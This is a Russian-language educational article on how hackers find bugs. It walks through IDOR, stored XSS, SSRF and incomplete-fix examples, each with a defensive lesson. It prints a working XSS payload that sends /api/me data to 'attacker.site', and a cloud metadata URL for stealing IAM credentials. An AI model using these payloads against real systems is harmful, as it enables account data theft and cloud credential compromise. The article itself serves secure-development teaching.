Как хакеры находят баги и что мы можем из этого извлечь

Пример 1. IDOR через API мобильного приложения

Исследователь анализирует трафик мобильного приложения и замечает запрос:

GET /api/v1/orders/48192
Authorization: Bearer <token>

Меняя 48192 на соседние значения, он получает данные чужих заказов: имена, адреса доставки, суммы. Сервер проверяет, что пользователь авторизован, но не проверяет, кому принадлежит заказ.

Почему это находят:

ID — простой числовой;

проверка реализована только на фронтенде;

API используется и вебом, и мобильным приложением.

Вывод: каждая операция с объектом должна проверять право доступа на сервере, независимо от клиента.

Пример 2. Stored XSS через «безопасные» данные

В панели администратора есть поле «Комментарий к пользователю». Разработчики считают, что туда пишут только сотрудники, и не экранируют ввод.

Хакер находит способ изменить комментарий через вспомогательный API и сохраняет payload:

<img src=x onerror=fetch('/api/me').then(r=>r.text()).then(t=>fetch('https://attacker.site?d='+t))>

Когда администратор открывает профиль пользователя, код выполняется с его правами.

Почему это работает:

доверие к данным из базы;

отсутствие контекстного экранирования;

использование innerHTML в админке.

Вывод: источник данных не делает их безопасными — важен контекст использования.

Пример 3. SSRF через загрузку изображений

<Функция «загрузить аватар по URL» принимает ссылку и скачивает изображение на сервере. Хакер подставляет:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

<В ответе он получает временные облачные креденшалы, которые позволяют читать внутренние ресурсы компании.

<Почему баг неочевиден:

URL фильтруется по формату;

нет прямого доступа к ответу, но он сохраняется;

разработчики не учитывают cloud-metadata.

Вывод: SSRF — это не про URL, а про сетевые возможности сервера.

Пример 4. «Дубликат», который стал критическим багом

Уязвимость XSS закрыли в веб-интерфейсе, но забыли про JSON-эндпоинт, который используется фронтендом. Хакер повторяет атаку через API и получает тот же эффект, но уже без фильтров.

Вывод: фиксы нужно проверять по всей цепочке — UI, API, мобильные клиенты.

Итог

Реальные уязвимости редко выглядят как «что-то сломалось». Чаще это:

доверие к данным;

недооценка API;

частичная защита;

логические допущения.

Хакеры находят баги не магией, а внимательным анализом поведения системы. И именно этому стоит учиться — как разработчикам, так и командам безопасности.